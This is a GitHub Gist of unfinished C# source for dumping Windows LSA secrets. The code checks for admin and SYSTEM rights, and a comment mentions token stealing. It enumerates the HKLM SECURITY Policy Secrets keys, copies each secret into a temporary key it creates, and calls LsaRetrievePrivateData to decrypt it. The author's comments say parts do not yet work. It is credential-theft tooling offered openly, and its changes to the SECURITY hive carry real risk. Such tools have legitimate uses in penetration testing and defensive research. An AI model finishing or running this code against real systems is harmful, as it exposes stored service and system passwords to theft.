Last active
March 1, 2018 12:31
-
-
Save nullbind/181feef5447e385eaadf55d70baea474 to your computer and use it in GitHub Desktop.
lsasecretsdump-csharp-workinprogress
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Text; | |
using System.Security.Principal; | |
using System.Runtime.InteropServices; | |
using Microsoft.Win32; | |
namespace lsautil | |
{ | |
// https://msdn.microsoft.com/en-us/library/microsoft.win32.registry(v=vs.110).aspx | |
public class lsadumptools | |
{ | |
public static bool IsSystem() | |
{ | |
// Get current user | |
String currentPrincipalName = WindowsIdentity.GetCurrent().Name; | |
// Gets a value indicating whether the user account is identified as a System account by the system. | |
bool IsSystem = WindowsIdentity.GetCurrent().IsSystem; | |
return IsSystem; | |
} | |
public static bool IsAdministrator() | |
{ | |
// Get current user | |
WindowsIdentity identity = WindowsIdentity.GetCurrent(); | |
WindowsPrincipal principal = new WindowsPrincipal(identity); | |
return principal.IsInRole(WindowsBuiltInRole.Administrator); | |
} | |
public static bool Is32Bit() | |
{ | |
int MyPointer = IntPtr.Size; | |
bool result; | |
// Check if Script is run in a 32-bit Environment by checking a Pointer Size | |
if (MyPointer == 8) | |
{ | |
result = false; | |
}else{ | |
result = true; | |
} | |
return result; | |
} | |
// Read specific registry key value | |
public static string GetRegValue (String MyKey) | |
{ | |
// Open reg key path | |
RegistryKey key = Registry.LocalMachine.OpenSubKey(MyKey); | |
// Read the reg key value | |
Object DisplayName = key.GetValue("DisplayName"); | |
// Return the reg key value | |
return DisplayName.ToString(); | |
} | |
public static string GetRegValueTest () | |
{ | |
String mykey = GetRegValue("SYSTEM\\CurrentControlSet\\Services\\acpiex"); | |
return mykey; | |
} | |
// Create specific registry key | |
public static void CreateRegKey (String MyKey) | |
{ | |
//Create subkey | |
Registry.LocalMachine.CreateSubKey("SYSTEM\\CurrentControlSet\\Services\\acpiex\\test"); | |
} | |
// Update key value test example | |
// https://www.codeproject.com/Articles/4808/All-you-wanted-to-know-about-the-Registry-with-C-P | |
// https://msdn.microsoft.com/en-us/library/k23f0345(v=vs.110).aspx | |
public static void SetRegKeyValue (String MyHive,String MySubKey, String MyItem, String MyValue) | |
{ | |
const string userRoot = "HKEY_Local_Machine"; | |
const string subkey = "SYSTEM\\CurrentControlSet\\Services\\acpiex\\test"; | |
const string keyName = userRoot + "\\" + subkey; | |
Registry.SetValue(keyName, "MyItem", "MyValue",RegistryValueKind.String); | |
} | |
// Get a list of all subkeys | |
public static string GetRegSubKeys (String MyKey) | |
{ | |
// Open reg key path | |
RegistryKey key = Registry.LocalMachine.OpenSubKey(MyKey); | |
// PS get subkey count | |
int SubKeyCount = key.SubKeyCount; | |
String [] Subkeys = key.GetSubKeyNames(); | |
StringBuilder MyString = new StringBuilder(); | |
foreach (String s in Subkeys) { | |
MyString.AppendLine(s); | |
} | |
// Return the reg key value | |
return MyString.ToString(); | |
} | |
public static string GetRegSubKeysTest () | |
{ | |
String mykey = GetRegSubKeys("SYSTEM\\CurrentControlSet\\Services"); | |
return mykey; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct LSA_UNICODE_STRING | |
{ | |
public UInt16 Length; | |
public UInt16 MaximumLength; | |
public IntPtr Buffer; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct LSA_OBJECT_ATTRIBUTES | |
{ | |
public int Length; | |
public IntPtr RootDirectory; | |
public LSA_UNICODE_STRING ObjectName; | |
public uint Attributes; | |
public IntPtr SecurityDescriptor; | |
public IntPtr SecurityQualityOfService; | |
} | |
public enum LSA_AccessPolicy : long | |
{ | |
POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L, | |
POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L, | |
POLICY_GET_PRIVATE_INFORMATION = 0x00000004L, | |
POLICY_TRUST_ADMIN = 0x00000008L, | |
POLICY_CREATE_ACCOUNT = 0x00000010L, | |
POLICY_CREATE_SECRET = 0x00000020L, | |
POLICY_CREATE_PRIVILEGE = 0x00000040L, | |
POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L, | |
POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L, | |
POLICY_AUDIT_LOG_ADMIN = 0x00000200L, | |
POLICY_SERVER_ADMIN = 0x00000400L, | |
POLICY_LOOKUP_NAMES = 0x00000800L, | |
POLICY_NOTIFICATION = 0x00001000L | |
} | |
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] | |
public static extern uint LsaRetrievePrivateData( | |
IntPtr PolicyHandle, | |
ref LSA_UNICODE_STRING KeyName, | |
out IntPtr PrivateData | |
); | |
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] | |
public static extern uint LsaStorePrivateData( | |
IntPtr policyHandle, | |
ref LSA_UNICODE_STRING KeyName, | |
ref LSA_UNICODE_STRING PrivateData | |
); | |
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] | |
public static extern uint LsaOpenPolicy( | |
ref LSA_UNICODE_STRING SystemName, | |
ref LSA_OBJECT_ATTRIBUTES ObjectAttributes, | |
uint DesiredAccess, | |
out IntPtr PolicyHandle | |
); | |
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] | |
public static extern uint LsaNtStatusToWinError( | |
uint status | |
); | |
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] | |
public static extern uint LsaClose( | |
IntPtr policyHandle | |
); | |
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] | |
public static extern uint LsaFreeMemory( | |
IntPtr buffer | |
); | |
public static string DumpLSASecrets() | |
{ | |
// Set default message | |
String message = ""; | |
// Check for x86 process | |
int MyPointerSize = IntPtr.Size; | |
if (MyPointerSize != 8) | |
{ | |
message = "This is an x86 process."; | |
}else{ | |
message = "This is not an x86 process."; | |
return message; | |
} | |
// Check local administrator status | |
WindowsIdentity identity = WindowsIdentity.GetCurrent(); | |
WindowsPrincipal principal = new WindowsPrincipal(identity); | |
bool adminStatus = principal.IsInRole(WindowsBuiltInRole.Administrator); | |
if(adminStatus){ | |
message = "You are an admin."; | |
}else{ | |
message = "You are NOT an admin."; | |
return message; | |
} | |
// Get system access via token stealing or other getsystem methods | |
// target static known process and steal system token | |
// Check LocalSystem status | |
bool systemStatus = WindowsIdentity.GetCurrent().IsSystem; | |
if(systemStatus){ | |
message = "You are running as LocalSystem."; | |
}else{ | |
message = "You are NOT running as LocalSystem."; | |
return message; | |
} | |
//get local admin https://gist.githubusercontent.com/whiggs/306d5b36349b463b720cb78796907777/raw/076e7e7956561cbbeb69c04552d4904ccb0d8a08/winup.ps1 | |
// Create temp reg key | |
Registry.LocalMachine.CreateSubKey("SECURITY\\Policy\\Secrets\\MySecret"); | |
// Get a list of all secrets | |
RegistryKey Secretskey = Registry.LocalMachine.OpenSubKey("SECURITY\\Policy\\Secrets"); | |
String [] Subkeys = Secretskey.GetSubKeyNames(); | |
StringBuilder MyString = new StringBuilder(); | |
foreach (String secret in Subkeys) { | |
// Build list of secrets as a string | |
//MyString.AppendLine(secret); | |
// Set copyFromKey | |
String copyFromPath = "SECURITY\\Policy\\Secrets\\" + secret; | |
RegistryKey copyFromKey = Registry.LocalMachine.OpenSubKey(copyFromPath); | |
MyString.AppendLine(copyFromPath); | |
// Get secret value - not working - need default value from '(default)' key | |
Object secretValue = copyFromKey.GetValue(""); | |
if(secretValue != null){ | |
message = "registry copy success."; | |
}else{ | |
message = "registry copy fail."; | |
// return message; | |
} | |
// Copy to key - fix this too poc works | |
// https://msdn.microsoft.com/en-us/library/microsoft.win32.registryvaluekind(v=vs.110).aspx | |
String copyToKeyPath = "HKEY_Local_Machine\\SECURITY\\Policy\\Secrets\\MySecret"; | |
//Registry.SetValue(copyToKeyPath, "", "test2", RegistryValueKind.Unknown); | |
Registry.SetValue(copyToKeyPath, "", secretValue, RegistryValueKind.Unknown); | |
// Setup pointer | |
IntPtr MyPointer = IntPtr.Zero; | |
// Create LSA util object | |
LSA_OBJECT_ATTRIBUTES objectAttributes = new LSA_OBJECT_ATTRIBUTES(); | |
objectAttributes.Length = 0; | |
objectAttributes.RootDirectory = MyPointer; | |
objectAttributes.Attributes = 0; | |
objectAttributes.SecurityDescriptor = MyPointer; | |
objectAttributes.SecurityQualityOfService = MyPointer; | |
// LocalSystem | |
LSA_UNICODE_STRING localsystem = new LSA_UNICODE_STRING (); | |
localsystem.Buffer = MyPointer; | |
localsystem.Length = 0; | |
localsystem.MaximumLength = 0; | |
// Secret Name | |
String myKey = "MySecret"; | |
LSA_UNICODE_STRING secretName = new LSA_UNICODE_STRING(); | |
secretName.Buffer = Marshal.StringToHGlobalUni(myKey); | |
secretName.Length = (ushort)(myKey.Length * UnicodeEncoding.CharSize); | |
secretName.MaximumLength = (ushort)((myKey.Length + 1) * UnicodeEncoding.CharSize); | |
// Get LSA PolicyHandle | |
IntPtr lsaPolicyHandle = IntPtr.Zero; | |
uint access = (uint)LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION; | |
uint lsaOpenPolicyHandle = LsaOpenPolicy(ref localsystem, ref objectAttributes, access, out lsaPolicyHandle); | |
// Retrieve Private Data | |
IntPtr privateData = IntPtr.Zero; | |
uint ntsResult = LsaRetrievePrivateData(lsaPolicyHandle, ref secretName, out privateData); | |
LsaClose(lsaPolicyHandle); | |
uint lsaNtStatusToWinError = LsaNtStatusToWinError(ntsResult); | |
if(lsaNtStatusToWinError != 0) { | |
message = lsaNtStatusToWinError.ToString(); | |
//return message; | |
} | |
// note - getting null value and is bombing out | |
LSA_UNICODE_STRING lusSecretData = new LSA_UNICODE_STRING(); | |
lusSecretData = (LSA_UNICODE_STRING)Marshal.PtrToStructure(privateData, typeof(LSA_UNICODE_STRING)); | |
} | |
// Close reg key | |
Secretskey.Close(); | |
// Get list of secret registry keys | |
message = MyString.ToString(); | |
return message; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment